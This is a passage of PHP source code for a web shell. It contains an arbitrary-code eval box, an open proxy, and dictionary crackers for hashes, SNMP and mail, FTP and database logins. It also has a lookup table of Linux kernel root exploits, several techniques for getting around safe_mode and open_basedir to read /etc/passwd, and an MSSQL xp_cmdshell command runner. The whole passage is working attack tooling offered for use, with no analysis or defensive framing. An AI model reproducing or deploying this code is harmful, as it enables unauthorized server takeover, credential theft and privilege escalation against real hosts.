!document.form.logfilE.disabled;' style='border-width:1px;background-color:#666666;' checked>Log</td><td bgcolor='#666666'><input type=text name=logfilE size=25 value='".whereistmP().DIRECTORY_SEPARATOR.".log'> <input class=buttons type=submit name=start value=Start></form>$et</center>";
}
function hashcrackeR(){
global $errorbox,$t,$et,$hcwd;
if(!empty($_REQUEST['hash']) && !empty($_REQUEST['dictionary']) && !empty($_REQUEST['type'])){
if(isset($_REQUEST['loG'])&& !empty($_REQUEST['logfilE'])){$log=1;$file=$_REQUEST['logfilE'];}else $log=0;
$dictionary=fopen($_REQUEST['dictionary'],'r');
if($dictionary){
$hash=strtoupper($_REQUEST['hash']);
echo '<font color=blue>Cracking '.htmlspecialchars($hash).'...<br>';
$type=($_REQUEST['type']=='MD5')?'md5':'sha1';
while(!feof($dictionary)){
$word=trim(fgets($dictionary)," 

");
if($hash==strtoupper(($type($word)))){echo "The answer is $word<br>";if($log)file_add_contentS($file,"$x
");break;}
}
echo 'Done!</font>';
fclose($dictionary);
}
else{
echo "$errorbox Can not open dictionary.$et";
}
}
echo "<center>${t}Hash cracker:</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#666666'>Dictionary:</td><td bgcolor='#666666'><input type=text name=dictionary size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Hash:</td><td bgcolor='#808080'><input type=text name=hash size=35></td></tr><tr><td width='20%' bgcolor='#666666'>Type:</td><td bgcolor='#666666'><select name=type><option selected value=MD5>MD5</option><option value=SHA1>SHA1</option></select></td></tr><tr><td width='20%' bgcolor='#808080'><input type=checkbox name=loG value=1 onClick='document.form.logfilE.disabled = !document.form.logfilE.disabled;' style='border-width:1px;background-color:#808080;' checked>Log</td><td bgcolor='#808080'><input type=text name=logfilE size=25 value='".whereistmP().DIRECTORY_SEPARATOR.".log'> $hcwd <input class=buttons type=submit value=Start></form>$et</center>";
}
function pr0xy(){
global $errorbox,$et,$footer,$hcwd;
echo "<table border=0 cellpadding=0 cellspacing=0 style='border-collapse: collapse' bgcolor='#333333' width='100%'><form method='POST'><tr><td width='20%'><b>Navigator: </b><input type=text name=urL size=140 value='";if(!!empty($_REQUEST['urL'])) echo 'http://www.edpsciences.org/htbin/ipaddress'; else echo htmlspecialchars($_REQUEST['urL']);echo "'>$hcwd<input type=submit class=buttons value=Go></form>$et";
if(!empty($_REQUEST['urL'])){
$u=parse_url($_REQUEST['urL']);
$host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/';
$dir=dirname($file);
$con=getiT($_REQUEST['urL']);
$s=array("href=mailto"=>"HrEf=mailto","HREF=mailto"=>"HrEf=mailto","href='mailto"=>"HrEf=\"mailto","HREF=\"mailto"=>"HrEf=\"mailto","href=\'mailto"=>"HrEf=\"mailto","HREF=\'mailto"=>"HrEf=\"mailto","href=\"http"=>"HrEf=\"".hlinK("seC=px&urL=http"),"href=\'http"=>"HrEf=\"".hlinK("seC=px&urL=http"),"HREF=\'http"=>"HrEf=\"".hlinK("seC=px&urL=http"),"href=http"=>"HrEf=".hlinK("seC=px&urL=http"),"HREF=http"=>"HrEf=".hlinK("seC=px&urL=http"),"href=\""=>"HrEf=\"".hlinK("seC=px&urL=http://$host/$dir/"),"HREF=\""=>"HrEf=\"".hlinK("seC=px&urL=http://$host/$dir/"),"href=\""=>"HrEf=\'".hlinK("seC=px&urL=http://$host/$dir/"),'HREF="'=>'HrEf="'.hlinK("seC=px&urL=http://$host/$dir/"),"href="=>"HrEf=".hlinK("seC=px&urL=http://$host/$dir/"),"HREF="=>"HrEf=".hlinK("seC=px&urL=http://$host/$dir/"));
$con=replace_stR($s,$con);
echo $con;
}
}
function sqlclienT(){
global $t,$errorbox,$et,$hcwd;
if(!empty($_REQUEST['serveR']) && !empty($_REQUEST['useR']) && isset($_REQUEST['pasS']) && !empty($_REQUEST['querY'])){
$server=$_REQUEST['serveR'];$type=$_REQUEST['typE'];$pass=$_REQUEST['pasS'];$user=$_REQUEST['useR'];$query=$_REQUEST['querY'];
$db=(empty($_REQUEST['dB']))?'':$_REQUEST['dB'];
$res=querY($type,$server,$user,$pass,$db,$query);
if($res){
$res=str_replace('|-|-|-|-|-|','</td><td>',$res);
$res=str_replace('|+|+|+|+|+|','</td></tr><tr><td>',$res);
$r=explode('[+][+][+]',$res);
$r[1]=str_replace('[-][-][-]',"</td><td bgcolor='333333'>",$r[1]);
echo "<table border=0 bgcolor='666666' width='100%'></tr><tr><td bgcolor='333333'>".$r[1].'</tr><tr><td>'.$r[0]."$et<br>";
}
else{
echo "$errorbox Failed!$et<br>";
}
}
if(empty($_REQUEST['typE']))$_REQUEST['typE']='';
echo "<center>${t}SQL cilent:</td><form name=client method='POST'><td bgcolor='#333333'><select name=typE><option valut=MySQL onClick='document.client.serveR.disabled = false;' ";if ($_REQUEST['typE']=='MySQL')echo 'selected';echo ">MySQL</option><option valut=MSSQL onClick='document.client.serveR.disabled = false;' ";if ($_REQUEST['typE']=='MSSQL')echo 'selected';echo ">MSSQL</option><option valut=Oracle onClick='document.client.serveR.disabled = true;' ";if ($_REQUEST['typE']=='Oracle')echo 'selected';echo ">Oracle</option><option valut=PostgreSQL onClick='document.client.serveR.disabled = false;' ";if ($_REQUEST['typE']=='PostgreSQL')echo 'selected';echo ">PostgreSQL</option></select></td></tr><tr><td width='20%' bgcolor='#666666'>Server:</td><td bgcolor='#666666'><input type=text value='";if (!empty($_REQUEST['serveR'])) echo htmlspecialchars($_REQUEST['serveR']);else echo 'localhost'; echo "' name=serveR size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Username:</td><td bgcolor='#808080'><input type=text name=useR value='";if (!empty($_REQUEST['useR'])) echo htmlspecialchars($_REQUEST['useR']);else echo 'root'; echo "' size=35></td><tr><td width='20%' bgcolor='#666666'>Password:</td><td bgcolor='#666666'><input type=text value='";if (isset($_REQUEST['pasS'])) echo htmlspecialchars($_REQUEST['pasS']);else echo '123456'; echo "' name=pasS size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Database:</td><td bgcolor='#808080'><input type=text value='";if (!empty($_REQUEST['dB'])) echo htmlspecialchars($_REQUEST['dB']); echo "' name=dB size=35></td><tr><td width='20%' bgcolor='#666666'>Query:</td><td bgcolor='#666666'><textarea name=querY rows=5 cols=27>";if (!empty($_REQUEST['querY'])) echo htmlspecialchars(($_REQUEST['querY']));else echo 'SHOW DATABASES'; echo "</textarea></td></tr></tr><tr><td width='20%' bgcolor='#808080'></td><td bgcolor='#808080' align=right>$hcwd<input class=buttons type=submit value='Submit Query'></form>$et</center>";
}
function querY($type,$host,$user,$pass,$db='',$query){
$res='';
switch($type){
case 'MySQL':
if(!function_exists('mysql_connect'))return 0;
$link=mysql_connect($host,$user,$pass);
if($link){
if(!empty($db))mysql_select_db($db,$link);
$result=mysql_query($query,$link);
while($data=mysql_fetch_row($result))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|';
$res.='[+][+][+]';
for($i=0;$i<mysql_num_fields($result);$i++)
$res.=mysql_field_name($result,$i).'[-][-][-]';
mysql_close($link);
return $res;
}
break;
case 'MSSQL':
if(!function_exists('mssql_connect'))return 0;
$link=mssql_connect($host,$user,$pass);
if($link){
if(!empty($db))mssql_select_db($db,$link);
$result=mssql_query($query,$link);
while($data=mssql_fetch_row($result))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|';
$res.='[+][+][+]';
for($i=0;$i<mssql_num_fields($result);$i++)
$res.=mssql_field_name($result,$i).'[-][-][-]';
mssql_close($link);
return $res;
}
break;
case 'Oracle':
if(!function_exists('ocilogon'))return 0;
$link=ocilogon($user,$pass,$db);
if($link){
$stm=ociparse($link,$query);
ociexecute($stm,OCI_DEFAULT);
while($data=ocifetchinto($stm,$data,OCI_ASSOC+OCI_RETURN_NULLS))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|';
$res.='[+][+][+]';
for($i=0;$i<oci_num_fields($stm);$i++)
$res.=oci_field_name($stm,$i).'[-][-][-]';
return $res;
}
break;
case 'PostgreSQL':
if(!function_exists('pg_connect'))return 0;
$link=pg_connect("host=$host dbname=$db user=$user password=$pass");
if($link){
$result=pg_query($link,$query);
while($data=pg_fetch_row($result))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|';
$res.='[+][+][+]';
for($i=0;$i<pg_num_fields($result);$i++)
$res.=pg_field_name($result,$i).'[-][-][-]';
pg_close($link);
return $res;
}
break;
}
return 0;
}
function phpevaL(){
global $t,$hcwd,$et;
echo '<center>';
if(!empty($_REQUEST['code'])){
$s=array('<?php'=>'','<?'=>'','?>'=>'');
echo "<textarea rows='10' cols='64'>";echo htmlspecialchars(eval(replace_stR($s,$_REQUEST['code'])));echo '</textarea><br><br>';
}
echo "${t}Evaler:</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#666666'>Codes:</td><td bgcolor='#666666'><textarea rows='10' name='code' cols='64'>";if(!empty($_REQUEST['code']))echo htmlspecialchars($_REQUEST['code']);echo "</textarea></td></tr><tr><td width='20%' bgcolor='#666666'></td><td bgcolor='#666666' align=right>$hcwd<input class=buttons type=submit value=Execute></form>$et</center>";
}
function rootxpL(){
$v=php_uname();
$db=array('2.6.17'=>'prctl3, raptor_prctl, py2','2.6.16'=>'raptor_prctl, exp.sh, raptor, raptor2, h00lyshit','2.6.15'=>'py2, exp.sh, raptor, raptor2, h00lyshit','2.6.14'=>'raptor, raptor2, h00lyshit','2.6.13'=>'kdump, local26, py2, raptor_prctl, exp.sh, prctl3, h00lyshit','2.6.12'=>'h00lyshit','2.6.11'=>'krad3, krad, h00lyshit','2.6.10'=>'h00lyshit, stackgrow2, uselib24, exp.sh, krad, krad2','2.6.9'=>'exp.sh, krad3, py2, prctl3, h00lyshit','2.6.8'=>'h00lyshit, krad, krad2','2.6.7'=>'h00lyshit, krad, krad2','2.6.6'=>'h00lyshit, krad, krad2','2.6.2'=>'h00lyshit, krad, mremap_pte','2.6.'=>'prctl, kmdx, newsmp, pwned, ptrace_kmod, ong_bak','2.4.29'=>'elflbl, expand_stack, stackgrow2, uselib24, smpracer','2.4.27'=>'elfdump, uselib24','2.4.25'=>'uselib24','2.4.24'=>'mremap_pte, loko, uselib24','2.4.23'=>'mremap_pte, loko, uselib24','2.4.22'=>'loginx, brk, km2, loko, ptrace, uselib24, brk2, ptrace-kmod','2.4.21'=>'w00t, brk, uselib24, loginx, brk2, ptrace-kmod','2.4.20'=>'mremap_pte, w00t, brk, ave, uselib24, loginx, ptrace-kmod, ptrace, kmod','2.4.19'=>'newlocal, w00t, ave, uselib24, loginx, kmod','2.4.18'=>'km2, w00t, uselib24, loginx, kmod','2.4.17'=>'newlocal, w00t, uselib24, loginx, kmod','2.4.16'=>'w00t, uselib24, loginx','2.4.10'=>'w00t, brk, uselib24, loginx','2.4.9'=>'ptrace24, uselib24','2.4.'=>'kmdx, remap, pwned, ptrace_kmod, ong_bak','2.2.25'=>'mremap_pte','2.2.24'=>'ptrace','2.2.'=>'rip, ptrace');
foreach($db as $k=>$x)if(strstr($v,$k))return $x;
return 0;
}
function toolS(){
global $t,$hcwd,$et,$cwd;
if(!empty($_REQUEST['serveR']) && !empty($_REQUEST['domaiN'])){
$ser=fsockopen($_REQUEST['serveR'],43,$en,$es,5);
fputs($ser,$_REQUEST['domaiN']."
");
echo '<pre>';
while(!feof($ser))echo fgets($ser,1024);
echo '</pre>';
fclose($ser);
}
elseif(!empty($_REQUEST['urL'])){
$h='';
$u=parse_url($_REQUEST['urL']);
$host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/';$port=(empty($u['port']))?80:$u['port'];
$ser=fsockopen($host,$port,$en,$es,5);
if($ser){
fputs($ser,"GET $file
Host: $host

");
echo '<pre>';
while($h!="
"){$h=fgets($ser,1024);echo $h;}
echo '</pre>';
fclose($ser);
}
}
elseif(!empty($_REQUEST['ouT']) && isset($_REQUEST['pW'])&& !empty($_REQUEST['uN'])){
$htpasswd=$_REQUEST['ouT'].DIRECTORY_SEPARATOR.'.htpasswd';
$htaccess=$_REQUEST['ouT'].DIRECTORY_SEPARATOR.'.htaccess';
file_put_contents($htpasswd,$_REQUEST['uN'].':'.crypt(trim($_REQUEST['pW']),CRYPT_STD_DES));
file_put_contents($htaccess,"AuthName \"Secure\"
AuthType Basic
AuthUserFile $htpasswd
Require valid-user
");
echo '<font color=blue>Done</font>';
}
$s="</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#666666'>";
echo "<center>${t}WhoIs:${s}Server:</td><td bgcolor='#666666'><input type=text value='";if (!empty($_REQUEST['serveR'])) echo htmlspecialchars($_REQUEST['serveR']);else echo 'whois.geektools.com'; echo "' name=serveR size=35></td></tr><tr><td width='20%' bgcolor='#808080'>domain:</td><td bgcolor='#808080'><input type=text name=domaiN value='";if (!empty($_REQUEST['domaiN'])) echo htmlspecialchars($_REQUEST['domaiN']); else echo 'google.com'; echo "' size=35></td><tr><td bgcolor='#666666'></td><td bgcolor='#666666' align=right>$hcwd<input class=buttons type=submit value='Do'></form>$et<br>${t}.ht* generator:${s}Username:</td><td bgcolor='#666666'><input type=text value='";if (!empty($_REQUEST['uN'])) echo htmlspecialchars($_REQUEST['uN']);else echo 'r00t'; echo "' name=uN size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Password:</td><td bgcolor='#808080'><input type=text name=pW value='";if (!empty($_REQUEST['pW'])) echo htmlspecialchars($_REQUEST['pW']); else echo uniqid('@'); echo "' size=35></td><tr><td width='20%' bgcolor='#666666'>Directory:</td><td bgcolor='#666666'><input type=text name=ouT value='";if (!empty($_REQUEST['ouT'])) echo htmlspecialchars($_REQUEST['ouT']); else echo $cwd; echo "' size=35></td><tr><td bgcolor='#808080'></td><td bgcolor='#808080' align=right>$hcwd<input class=buttons type=submit value=Make></form>$et<br>${t}Grab header:${s}URL:</td><td bgcolor='#666666'><input type=text value='";if (!empty($_REQUEST['urL']))echo htmlspecialchars($_REQUEST['urL']);else echo 'http://kkt.at.ua/'; echo "' name=urL size=35></td></tr><tr><td bgcolor='#808080'></td><td bgcolor='#808080' align=right>$hcwd<input class=buttons type=submit value='Get'></form>$et<br></center>";
}
function hexvieW(){
if(!empty($_REQUEST['filE'])){
$f=$_REQUEST['filE'];
echo "<table border=0 style='border-collapse: collapse' width='100%'><td width='10%' bgcolor='#282828'>Offset</td><td width='25%' bgcolor='#282828'>Hex</td><td width='25%' bgcolor='#282828'></td><td width='40%' bgcolor='#282828'>ASCII</td></tr>";
$file=fopen($f,'r');
$i=-1;
while(!feof($file)){
$ln='';
$i++;
echo "<tr><td width='10%' bgcolor='#";
if($i % 2==0)echo '666666';else echo '808080';
echo "'>";echo str_repeat('0',(8-strlen($i*16))).$i*16;echo '</td>';
echo "<td width='25%' bgcolor='#";
if($i % 2==0)echo '666666';else echo '808080'; 
echo "'>";
for($j=0;$j<=7;$j++){
if(!feof($file)){
$tmp=strtoupper(dechex(ord(fgetc($file))));
if(strlen($tmp)==1)$tmp='0'.$tmp;
echo $tmp.' ';
$ln.=$tmp;
}
}
echo "</td><td width='25%' bgcolor='#";
if($i % 2==0)echo '666666';else echo '808080';
echo "'>";
for($j=7;$j<=14;$j++){
if(!feof($file)){
$tmp=strtoupper(dechex(ord(fgetc($file))));
if(strlen($tmp)==1)$tmp='0'.$tmp;
echo $tmp.' ';
$ln.=$tmp;
}
}
echo "</td><td width='40%' bgcolor='#";
if($i % 2==0)echo '666666';else echo '808080';
echo "'>";
$n=0;$asc='';$co=0;
for($k=0;$k<=16;$k++){
$co=hexdec(substr($ln,$n,2));
if(($co<=31)||(($co>=127)&&($co<=160)))$co=46;
$asc.=chr($co);
$n+=2;
}
echo htmlspecialchars($asc);
echo '</td></tr>';
}
}
fclose($file);
echo '</table>';
}
function safemodE(){
global $windows,$t,$hcwd,$et;
$file=(empty($_REQUEST['file']))?'/etc/passwd':$_REQUEST['file'];
$pr="
</font><font color=green>Method ";
$po=")</font><font color=blue>
";
$i=1;
if(!empty($_REQUEST['read'])){
echo "<pre>$pr$i:(ini_restore$po";
ini_restore('safe_mode');ini_restore('open_basedir');
readfile($file);
$i++;
echo "$pr$i:(include$po";
include($file);
$i++;
echo "$pr$i:(copy$po";
$tmp=tempnam('','cx');
copy('compress.zlib://'.$file,$tmp);
$fh=fopen($tmp,'r');
$data=fread($fh,filesize($tmp));
fclose($fh);
echo $data;
$i++;
if(function_exists('mb_send_mail')){
echo "$pr$i:(mb_send_mail$po";
if(file_exists('/tmp/mb_send_mail'))unlink('/tmp/mb_send_mail');
mb_send_mail(NULL, NULL, NULL, NULL,'-C $file -X /tmp/mb_send_mail');
readfile('/tmp/mb_send_mail');
$i++;
}
if(function_exists('curl_init')){
echo "$pr$i:(curl_init [A]$po";
$fh=curl_init('file://'.$file.'');
$tmp=curl_exec($fh);
echo $tmp;
$i++;
echo "$pr$i:(curl_init [B]$po";
$i++;
if(strstr($file,DIRECTORY_SEPARATOR))$ch=curl_init('file:///'.$file."/../../../../../../../../../../../../".__FILE__);
else $ch=curl_init('file://'.$file."".__FILE__);
var_dump(curl_exec($ch));
}
if(is_writable('.')){
echo "$pr$i:(php.ini$po";
file_put_contents('php.ini','safe_mode = Off');
readfile($file);
unlink('php.ini');
$i++;
}
if(extension_loaded('perl')){
echo "$pr$i:(perl$po";	
echo perlshelL("type \"$file\"");
$i++;
}
if(is_object($ws=new COM('WScript.Shell'))){
echo "$pr$i:(COM$po";
echo comshelL("type \"$file\"",$ws);
$i++;
}
if(extension_loaded('ffi') && $windows){
echo "$pr$i:(FFI$po";
echo ffishelL("type \"$file\"");
$i++;
}
if(checkfunctioN('win_shell_execute')){
echo "$pr$i:(win32std$po";
echo winshelL("type \"$file\"");
$i++;
}
if(checkfunctioN('win32_create_service')){
echo "$pr$i:(win32service$po";
echo srvshelL("type \"$file\"");
$i++;
}
if(function_exists('imap_open')){
echo "$pr$i:(imap [A]$po";
$str=imap_open('/etc/passwd','','');
$list=imap_list($str,$file,'*');
for($i=0;$i<count($list);$i++)echo $list[$i]."
";
imap_close($str);
$i++;
echo "$pr$i:(imap [B]$po";
$str=imap_open($file,'','');
$tmp=imap_body($str,1);
echo $tmp;
imap_close($str);
$i++;
}
if($file=='/etc/passwd'){
echo "$pr$i:(posix$po";
for($uid=0;$uid<99999;$uid++){
$h=posix_getpwuid($uid);
if(!empty($h))foreach($h as $v)echo "$v:";
echo "
";
}
}
echo "
</pre></font>";
}
elseif(!empty($_REQUEST['show'])){
echo "<pre>$pr$i:(glob$po";
$con=glob("$file*");
foreach ($con as $v)echo "$v
";
$i++;
if(function_exists('imap_open')){
echo "$pr$i:(imap$po";
$str=imap_open('/etc/passwd','','');
$s=explode("|",$file);
if(count($s)>1)$list=imap_list($str,trim($s[0]),trim($s[1]));else $list=imap_list($str,trim($str[0]),'*');
for($i=0;$i<count($list);$i++)echo "$list[$i]
";
imap_close($str);
$i++;
}
if(is_object($ws=new COM('WScript.Shell'))){
echo "$pr$i:(COM$po";
$exec=comshelL("dir \"$file\"",$ws);
$exec=str_replace("	",'',$exec);
echo $exec;
$i++;
}
if(checkfunctioN('win_shell_execute')){
echo "$pr$i:(win32std$po";
echo winshelL("dir \"$file\"");
$i++;
}
if(checkfunctioN('win32_create_service')){
echo "$pr$i:(win32service$po";
echo srvshelL("dir \"$file\"");
$i++;
}
echo "
</pre></font>";
}
elseif(!empty($_REQUEST['sql'])){
$ta=uniqid('N');
$s=array("CREATE TEMPORARY TABLE $ta (file LONGBLOB)","LOAD DATA INFILE '".addslashes($_REQUEST['file'])."' INTO TABLE $ta","SELECT * FROM $ta");
$l=mysql_connect('localhost', $_REQUEST['user'], $_REQUEST['pass']);
mysql_select_db($_REQUEST['db'],$l);
echo '<pre><font color=blue>';
foreach($s as $v){
$q = mysql_query($v,$l);
while($d=mysql_fetch_row($q))echo htmlspecialchars($d[0]);
}
echo '</pre></font>';
}
elseif(!empty($_REQUEST['serveR']) && !empty($_REQUEST['coM']) && !empty($_REQUEST['dB']) && !empty($_REQUEST['useR']) && isset($_REQUEST['pasS'])){
$res='';
$tb=uniqid('NJ');
$db=mssql_connect($_REQUEST['serveR'],$_REQUEST['useR'],$_REQUEST['pasS']);
mssql_select_db($_REQUEST['dB'],$db);
mssql_query("create table $tb ( string VARCHAR (500) NULL)",$db);
mssql_query("insert into $tb EXEC master.dbo.xp_cmdshell '".$_REQUEST['coM']."'",$db);
$re=mssql_query("select * from $tb",$db);
while(($row=mssql_fetch_row($re)))
{
$res.= $row[0]."
";
}
mssql_query("drop table $tb",$db);
mssql_close($db);
echo "<center><textarea rows='18' cols='64'>$res</textarea></center><br>";
}
$f=(!empty($_REQUEST['file']))?htmlspecialchars($_REQUEST['file']):'/etc/passwd';
$u=(!empty($_REQUEST['user']))?htmlspecialchars($_REQUEST['user']):'root';
$p=(!empty($_REQUEST['pass']))?htmlspecialchars($_REQUEST['pass']):'123456';
$d=(!empty($_REQUEST['db']))?htmlspecialchars($_REQUEST['db']):'test';
echo "<center>${t}Use PHP Bugs:</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#666666'>File:</td><td bgcolor='#666666'><input type=text value='$f' name=file size=35></td></tr><tr><td bgcolor='#808080'></td><td bgcolor='#808080' align=right>$hcwd<input class=buttons type=submit name=read value='Read File'><input class=buttons type=submit name=show value='Show directory'></form>$et<br>${t}Use MySQL:</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#666666'>File:</td><td bgcolor='#666666'><input type=text value='$f' name=file size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Username:</td><td bgcolor='#808080'><input type=text name=user value='$u'></td></tr><tr><td width='20%' bgcolor='#666666'>Password:</td><td bgcolor='#666666'><input type=text name=pass value='$p'></td></tr><tr><td width='20%' bgcolor='#808080'>Database:</td><td bgcolor='#808080'><input type=text name=db value='$d'></td></tr><tr><td bgcolor='#666666'></td><td bgcolor='#666666' align=right>$hcwd<input class=buttons type=submit name=sql value='Read'></form>$et<br>${t}MSSQL Exec:</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#666666'>Server:</td><td bgcolor='#666666'><input type=text value='";if (!empty($_REQUEST['serveR'])) echo htmlspecialchars($_REQUEST['serveR']);else echo 'localhost'; echo "' name=serveR size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Username:</td><td bgcolor='#808080'><input type=text name=useR value='";if (!empty($_REQUEST['useR'])) echo htmlspecialchars($_REQUEST['useR']); else echo 'sa'; echo "' size=35></td></tr><tr><td width='20%' bgcolor='#666666'>Password:</td><td bgcolor='#666666'><input type=text name=pasS value='";if (!empty($_REQUEST['pasS'])) echo htmlspecialchars($_REQUEST['pasS']);echo "' size=35></td></tr><td width='20%' bgcolor='#808080'>Command:</td><td bgcolor='#808080'><input type=text name=coM value='";if (!empty($_REQUEST['coM'])) echo htmlspecialchars($_REQUEST['coM']);else echo 'dir c:';echo "' size=35></td></tr><tr><td bgcolor='#666666'>Database:</td><td bgcolor='#666666'><input type=text name=dB value='";if(isset($_REQUEST['dB'])) echo htmlspecialchars($_REQUEST['dB']);else echo 'master';echo "'>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$hcwd<input class=buttons type=submit value='Execute'></form>$et</center>";
}
function crackeR(){
global $errorbox,$t,$et,$crack,$cwd;
$check=(!empty($_REQUEST['dictionary']) && !empty($_REQUEST['target']))?1:0;
if(!empty($_REQUEST['cracK']) && !$check){
$c=htmlspecialchars($_REQUEST['cracK']);
echo "<center>$t$c cracker:$crack";
}
elseif(!empty($_REQUEST['cracK']) && $check){
$pro=strtolower($_REQUEST['cracK']).'checK';
$target=$_REQUEST['target'];
$type=$_REQUEST['combo'];
$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:'';
$dictionary=fopen($_REQUEST['dictionary'],'r');
if(isset($_REQUEST['loG'])&& !empty($_REQUEST['logfilE'])){$log=1;$file=$_REQUEST['logfilE'];}else $log=0;
if($dictionary){
echo '<font color=blue>Cracking '.htmlspecialchars($target).'...<br>';
while(!feof($dictionary)){
if($type){
$combo=trim(fgets($dictionary)," 

");
$user=substr($combo,0,strpos($combo,':'));
$pass=substr($combo,strpos($combo,':')+1);
}else{
$pass=trim(fgets($dictionary)," 

");
}
$ret=$pro($target,$user,$pass,5);
if($ret==-1){echo "$errorbox Can not connect to server.$et";break;}else{
if($ret){$x="U: $user P: $pass";echo "$x<br>";if($log)file_add_contentS($file,"$x
");if(!$type)break;}}
}
echo '<br>Done</font>';
fclose($dictionary);
}
else{
echo "$errorbox Can not open dictionary.$et";
}
}
else{
echo "<center><table border=0 bgcolor=#333333><tr><td><a href='".hlinK("seC=hc&workingdiR=$cwd")."'>[Hash]</a> - <a href='".hlinK("seC=cr&cracK=SMTP&workingdiR=$cwd")."'>[SMTP]</a> - <a href='".hlinK("seC=cr&cracK=POP3&workingdiR=$cwd")."'>[POP3]</a> - <a href='".hlinK("seC=cr&cracK=IMAP&workingdiR=$cwd")."'>[IMAP]</a> - <a href='".hlinK("seC=cr&cracK=FTP&workingdiR=$cwd")."'>[FTP]</a> - <a href='".hlinK("seC=snmp&workingdiR=$cwd")."'>[SNMP]</a> - <a href='".hlinK("seC=cr&cracK=MySQL&workingdiR=$cwd")."'>[MySQL]</a> - <a href='".hlinK("seC=cr&cracK=MSSQL&workingdiR=$cwd")."'>[MSSQL]</a> - <a href='".hlinK("seC=fcr&workingdiR=$cwd")."'>[HTTP Form]</a> - <a href='".hlinK("seC=auth&workingdiR=$cwd")."'>[HTTP Auth(basic)]</a> - <a href='".hlinK("seC=dic&workingdiR=$cwd")."'>[Dictionary maker]</a>$et</center>";
}
}
function snmpcrackeR(){
global $t,$et,$errorbox,$hcwd;
if(!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){
$target=$_REQUEST['target'];
if(isset($_REQUEST['loG'])&& !empty($_REQUEST['logfilE'])){$log=1;$file=$_REQUEST['logfilE'];}else $log=0;
$dictionary=fopen($_REQUEST['dictionary'],'r');
if($dictionary){
echo '<font color=blue>Cracking '.htmlspecialchars($target).'...<br>';
while(!feof($dictionary)){
$com=trim(fgets($dictionary)," 

");
$res=snmpchecK($target,$com,2);
if($res){echo "$com<br>";if($log)file_add_contentS($file,"$com
");}
}
echo '<br>Done</font>';
fclose($dictionary);
}
else{
echo "$errorbox Can not open dictionary.$et";
}
}else echo "<center>${t}SNMP cracker:</td><td bgcolor='#333333'></td></tr><form method='POST'>$hcwd<tr><td width='20%' bgcolor='#666666'>Dictionary:</td><td bgcolor='#666666'><input type=text name=dictionary size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Server:</td><td bgcolor='#808080'><input type=text name=target size=35></td></tr><tr><td width='20%' bgcolor='#666666'><input type=checkbox name=loG value=1 onClick='document.form.logfilE.disabled = !document.form.logfilE.disabled;' style='border-width:1px;background-color:#666666;' checked>Log</td><td bgcolor='#666666'><input type=text name=logfilE size=25 value='".whereistmP().DIRECTORY_SEPARATOR.".log'> <input class=buttons type=submit value=Start></form>$et</center>";
}
function dicmakeR(){
global $errorbox,$windows,$footer,$t,$et,$hcwd;
$combo=(empty($_REQUEST['combo']))?0:1;
if(!empty($_REQUEST['range'])&& !empty($_REQUEST['output']) && !empty($_REQUEST['min']) && !empty($_REQUEST['max'])){
$min=$_REQUEST['min'];
$max=$_REQUEST['max'];
if($max<$min)die($errorbox."Bad input!$et".$footer);
$s=$w='';
$out=$_REQUEST['output'];
$r=$_REQUEST['range'];
$dic=fopen($out,'w');
if($r==1){
for($s=pow(10,$min-1);$s<pow(10,$max-1);$s++){
$w=$s;
if($combo)$w="$w:$w";
fwrite($dic,$w."
");
}
}
else{
$s=str_repeat($r,$min);
while(strlen($s)<$max){
$w=$s;
if($combo)$w="$w:$w";
fwrite($dic,$w."
");
$s++;
}
}
fclose($dic);
echo '<font color=blue>Done</font>';
}
elseif(!empty($_REQUEST['input']) && !empty($_REQUEST['output'])){
$input=fopen($_REQUEST['input'],'r');
if(!$input){
if($windows)echo $errorbox.'Unable to read from '.htmlspecialchars($_REQUEST['input'])."$et<br>";
else{
$input=explode("
",shelL("cat $input"));
$output=fopen($_REQUEST['output'],'w');
if($output){
foreach($input as $in){
$user=$in;
$user=trim(fgets($in)," 

");
if(!strstr($user,':'))continue;
$user=substr($user,0,(strpos($user,':')));
if($combo)fwrite($output,$user.':'.$user."
");else fwrite($output,$user."
");
}
fclose($input);fclose($output);
echo '<font color=blue>Done</font>';
}
}
}
else{
$output=fopen($_REQUEST['output'],'w');
if($output){
while(!feof($input)){
$user=trim(fgets($input)," 

");
if(!strstr($user,':'))continue;
$user=substr($user,0,(strpos($user,':')));
if($combo)fwrite($output,$user.':'.$user."
");else fwrite($output,$user."
");
}
fclose($input);fclose($output);
echo '<font color=blue>Done</font>';
}
else echo $errorbox.' Unable to write data to '.htmlspecialchars($_REQUEST['input'])."$et<br>";
}
}elseif(!empty($_REQUEST['url']) && !empty($_REQUEST['output'])){
$res=downloadiT($_REQUEST['url'],$_REQUEST['output']);
if($combo && $res){
$file=file($_REQUEST['output']);
$output=fopen($_REQUEST['output'],'w');
foreach($file as $v)fwrite($output,"$v:$v
");
fclose($output);
}
echo '<font color=blue>Done</font>';
}else{
$temp=whereistmP().DIRECTORY_SEPARATOR;
